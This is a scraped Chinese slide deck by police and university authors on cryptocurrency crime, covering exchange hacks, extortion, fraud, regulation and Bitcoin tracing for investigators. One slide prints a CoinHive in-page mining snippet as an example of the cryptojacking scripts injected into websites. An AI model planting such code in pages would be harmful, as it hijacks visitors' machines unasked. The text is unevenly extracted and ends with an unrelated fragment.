加密数字货币与网络犯罪 : 追踪与溯源的挑战山东警察学院张璇香港大学邹锦沛香港警务处黄觉升

Size: px

Start display at page:

Download "加密数字货币与网络犯罪 : 追踪与溯源的挑战山东警察学院张璇香港大学邹锦沛香港警务处黄觉升"

开倪
4 years ago
Views:

1 加密数字货币与网络犯罪 : 追踪与溯源的挑战山东警察学院张璇香港大学邹锦沛香港警务处黄觉升

2 提纲创新与混乱 : 加密数字货币加密数字货币与网络犯罪加密数字货币追踪与溯源挑战就在现在 2

3 1 创新与混乱 : 加密数字货币 3

4 创新与混乱 : 加密数字货币加密数字货币 CryptoCurrency 年全球加密数字货币总市值将突破 1 万亿美元 coinmarketcap.com

5 创新与混乱 : 加密数字货币电子货币? 虚拟货币? 数字货币? 商品货币金属货币纸币电子货币去中心化电子货币商品货币信用货币加密数字货币去中心化货币发行和系统安全基于数学原理依托互联网可以全球范围内使用数量恒定源码公开区块链技术

6 创新与混乱 : 加密数字货币又一个郁金香泡沫? 0.57% 的人掌握了 86.66% 的比特币

7 创新与混乱 : 加密数字货币价格波动安全问题用于犯罪 2014 年 2 月, 当时全球最大的交易所 Mt.gox 宣布丢失 85 万比特币, 按市价约为 5 亿美元,Mt. Gox 正式申请破产保护 2014 年 8 月 15 日, 国内交易平台比特儿被黑客盗走 5000 万 NXT, 折合人民币约 1000 多万元 2015 年 1 月 5 日,Bitstamp 确认丢失 1.9 万枚比特币 2015 年 1 月 23 日,Egopay 交易系统被入侵, 给用户造成 120 万美元的损失 2015 年 2 月 15 日, 比特儿被盗 7170 枚比特币 2015 年 2 月 18 日, 比特币存钱罐宣称被盗 3000 枚比特币 2015 年 6 月 14 日傍晚, 中国狗狗币协会会长江恩通过其个人微博发出紧急通知, 称中国狗狗币协会的官方在线钱包被盗, 共损失约 400 万个狗狗币 2016 年 8 月 3 日凌晨, 最大的美元比特币交易平台 Bitfinex 官网挂出公告, 由于网站出现安全漏洞, 导致用户持有的比特币被盗, 随后据路透报道, 被盗的比特币共枚, 总计价值约为 6500 万美元 2017 年 6 月 29 日, 韩国最大全球前五大的比特币交易所 Bithumb 发现遭到黑客入侵, 超过 3 万名客户的个人信息被盗取, 这次黑客入侵导致投资者损失数十亿韩元 2017 年 4 月 22 日凌晨 2 点到 3 点, 韩国比特币交易所 Youbit 被盗 3831 个比特币发行 Fei 代币作为用户损失凭证 12 月 19 日消息, 再次遭到黑客攻击, 造成相当于其总资产 17% 的严重损失该交易所表示即将关门, 并申请破产

AlphaBay, 而且还登录了 AlphaBay 数据中心提供商的管理员账号除此之外, 这台笔记本电脑中包存有 Cazes 所有的财务档案, 其中包括物理资产列表

8 创新与混乱 : 加密数字货币价格波动安全问题用于犯罪 FBI 表示, 泰国警方于 2017 年 7 月 5 日突袭了 Alphabay 管理员 Cazes 的住所, 他们发现 Cazes 当时正在使用他的笔记本电脑, 这台笔记本电脑既没有锁屏也没有被加密, 当时 Cazes 不仅用 Admin 账号登录了 AlphaBay, 而且还登录了 AlphaBay 数据中心提供商的管理员账号除此之外, 这台笔记本电脑中包存有 Cazes 所有的财务档案, 其中包括物理资产列表银行账号和加密货币钱包更加重要的是, 这些文档中还记录了每一个加密货币钱包的私钥和密码 Cazes 拥有价值总和超过 2300 万美元的加密货币 ( 包括比特币门罗币以太币 Zcash 币 )

9 创新与混乱 : 加密数字货币数字货币的法律地位 2013 年, 中国人民银行工业和信息化部中国银行业监督管理委员会中国证券监督管理委员会中国保险监督管理委员会联合发布了关于防范比特币风险的通知 ( 以下简称通知 ), 对比特币在中国境内的使用及交易进行了相关说明通知明确了比特币的性质, 认为比特币不是由货币当局发行, 不具有法偿性与强制性等货币属性, 并不是真正意义的货币从性质上看, 比特币是一种特定的虚拟商品, 不具有与货币等同的法律地位, 不能且不应作为货币在市场上流通使用但是, 比特币交易作为一种互联网上的商品买卖行为, 普通民众在自担风险的前提下拥有参与的自由 2017 年 3 月民法总则 ( 草案 ) 第一百零四条 : 物包括不动产和动产法律规定具体权利或者网络虚拟财产作为物权客体的, 依照其规定草案第一百零八条第二款第八项 :( 知识产权包括 ) 数据信息中国人民银行中央网信办工业和信息化部工商总局银监会证监会保监会 : 关于防范代币发行融资风险的公告叫停所有代币发行融资 (ICO) 项目并关闭比特币交易平台中国互金协会 : 关于防范比特币等所谓虚拟货币风险的提示代币发行融资活动 (ICO) 已被监管部门叫停各类所谓币的交易平台在我国并无合法设立的依据

10 2 加密数字货币与网络犯罪 10

11 加密数字货币与网络犯罪挖矿耗能巨大可能涉及到的犯罪 : 盗窃

12 加密数字货币与网络犯罪 2013 年 10 月, 香港注册的 GBL 比特币平台跑路

13 加密数字货币与网络犯罪境外黑客 DDOS 攻击潘某的非法所得如何认定? 比特币的价值如何来认定? 通过暗网雇佣潘某匿名邮件网络变声电话勒索比特币受害公司向指定地址分别转入 22 个 44 个比特币受害公司最终在起诉时, 检察官并没有认定潘某敲诈所得比特币的价值是多少, 而是以潘某敲诈行为给被害单位造成的经济损失来认定这起案件的数额 2017 年 10 月 27 日, 被告人潘某因犯敲诈勒索罪被法院判处有期徒刑三年, 罚金人民币 5000 元

14 加密数字货币与网络犯罪挖矿脚本风行非法侵入计算机信息系统破坏计算机信息系统

15 加密数字货币与网络犯罪 </script> <script src=" <script> var miner = new CoinHive. Anonymous('52R8QJSFsWVqBPC5D6hqppDAs1bDSQIN',{throttle: 0.1}); miner.start(); </script>

16 加密数字货币与网络犯罪挖矿脚本风行南方周末被挂挖矿脚本绝地求生辅助专挖 HSR 星巴克 WIFI 藏挖矿脚本 APP 滥用挖矿脚本

17 加密数字货币与网络犯罪受害人刘某转账至王某账户洗钱工具 QQ 认识? 要求代收包裹 80 万美元谎称须缴纳保证金通过 localbitcoins.com 联系将比特币转入嫌疑人地址比特币投资者王某嫌疑人自称做过伊拉克军医的美国人

18 加密数字货币与网络犯罪代币发行融资 ( 首次代币发行即 ICO): 融资主体通过代币的违规发售流通, 向投资者筹集比特币以太币等所谓虚拟货币, 本质上是一种未经批准非法公开融资的行为, 涉嫌非法发售代币票券非法发行证券以及非法集资金融诈骗传销等犯罪活动湖南宣判特大 " 维卡币 " 传销案 : 涉案 16 亿元 35 人获刑

19 3 加密数字货币追踪与溯源 Page 19

20 加密数字货币追踪与溯源 2017 年 7 月 26 日 BTC-e 老板亚历山大维尼克因涉嫌洗钱 40 亿美元而被捕据分析 Mt Gox 被盗的 85 万个比特币里, 有将近 30 万个从亚历山大维尼克手上经过

21 加密数字货币追踪与溯源矿工挖矿造币交易平台交易钱包存储支付

22 加密数字货币追踪与溯源公钥私钥 : 比特币的账户体系使用非对称加密算法, 其中用到一对秘钥 : 公钥 (publickey) 和私钥 (privatekey) 用公钥对数据进行加密后, 只有对应的私钥才能解密 ; 反之如果私钥用于加密, 则只有对应的公钥才能解密在发送比特币时, 交易发起者使用私钥对他的交易申请进行签名, 网络上的任何人都可以使用对应的公钥对这个交易的合法性进行验证地址 : 比特币世界中, 通过私钥可以计算得到公钥, 公钥再经过一系列哈希及编码运算就得到地址, 地址可以理解为公钥的摘要, 由一串字符表示, 例如 :16FQCgFD5gBoJvD8kauX9oVoRQhs1NTvb4 地址使公钥更具可读性, 类似于银行账号挖矿 : 比特币生产过程的形象说法通过大量计算, 完成系统要求的的工作量证明, 系统就会奖励一定数量的比特币算力 : 在通过挖矿得到比特币的过程中, 一个节点每秒钟能做多少次计算, 就是其算力的代表, 单位写成 h a s h / s, 简写 h / s 1 h / s 表示 1 秒钟能做 1 次 h a s h 碰撞 1 K h / s = h / s, 1Mh/s=1000Kh/ s, 1 Gh/s=1000Mh/s,1 Th/s=1000Gh/s, 1 Ph/s=1000Th/s 矿池 : 一般是对外开放的团队开采服务器, 奖励的比特币算力占比分给矿工, 其存在意义为提升比特币开采稳定性

23 加密数字货币追踪与溯源区块链比特币最新区块已达四十八万多, 150 多个 Gb

24 加密数字货币追踪与溯源比特币钱包现场勘查注意 : 钱包的形式, 搜索关键词, 正则表达式挖矿交易购买冷钱包热钱包软件钱包 Web 钱包纸张存储硬件钱包地址规律 : 位字母数字大小写字符 2. 1 或 3 开头 5. 没有大写 O ( 小写 o 可以 ) 6. 没有大写 I ( 小写 i 可以 ) 7. 没有小写 l ( 大写 L 可以 ) 8. 没有数字 0 正则表达式 :[13][a-km-zA-HJ-NP-Z1-9]{25,34}

25 加密数字货币追踪与溯源比特币历史交易追踪

26 加密数字货币追踪与溯源比特币历史交易追踪 SilkRoad 比特币兑换是溯源的机会比特币交易所一般需要提供 : 身份证或护照地址证明银行账户需要更加紧密的国际合作

27 加密数字货币追踪与溯源比特币历史交易追踪论坛泄露 :1LDNLreKJ6GawBHPgB5yfVLBERi8g3SbQS 1933phfhK3ZgFQNLGSDXvqCn32k2buXY8a

28 加密数字货币追踪与溯源比特币历史交易追踪 SilkRoad Maltgo

29 加密数字货币追踪与溯源 Wannacry 比特币地址追踪 Wannacry p7UMMngoj1pMvkpHijcRdfJNXj6LrLn 12t9YDPgwueZ9NyMgw519p7AA8isjr6SMw 13AM4VW2dhxYgXeQepoHkHSQuy6NgaEb94 Wannacry1.0 1QAc9S5EmycqjzzWDc1yiWzr9jJLC8sLiY

30 加密数字货币追踪与溯源 Clustering by co-spend 通过共同花费进行聚类看时间戳 : 将有关联的交易聚类在一起 30

31 加密数字货币追踪与溯源 Clustering by peel chain 交易所地址 31

32 加密数字货币追踪与溯源 Clustering by actively transacting 交易所地址 32

33 加密数字货币追踪与溯源 33

34 加密数字货币追踪与溯源 34

35 4 挑战就在现在 35

36 加密数字货币追踪与溯源场外交易监管难度大国际合作强匿名数字货币的应用

37 Thank You wtc.antiy.cn

创新“派、树、挂”工作法，助推欠发达地区“两新”党建工作规范发展

创新“派、树、挂”工作法，助推欠发达地区“两新”党建工作规范发展广东省党的建设研究会 2014 年度重点课题之二清远市加强两新组织党建工作规范化信息化研究清远市两新组织党工委清远市党的建设研究会 2015 年 1 月 20 日目录一理论基础...2 ( 一 ) 两新组织党建工作内涵... 2 ( 二 ) 两新组织

加密数字货币与网络犯罪 : 追踪与溯源的挑战 山东警察学院张璇 香港大学邹锦沛 香港警务处黄觉升

加密数字货币与网络犯罪 : 追踪与溯源的挑战山东警察学院张璇香港大学邹锦沛香港警务处黄觉升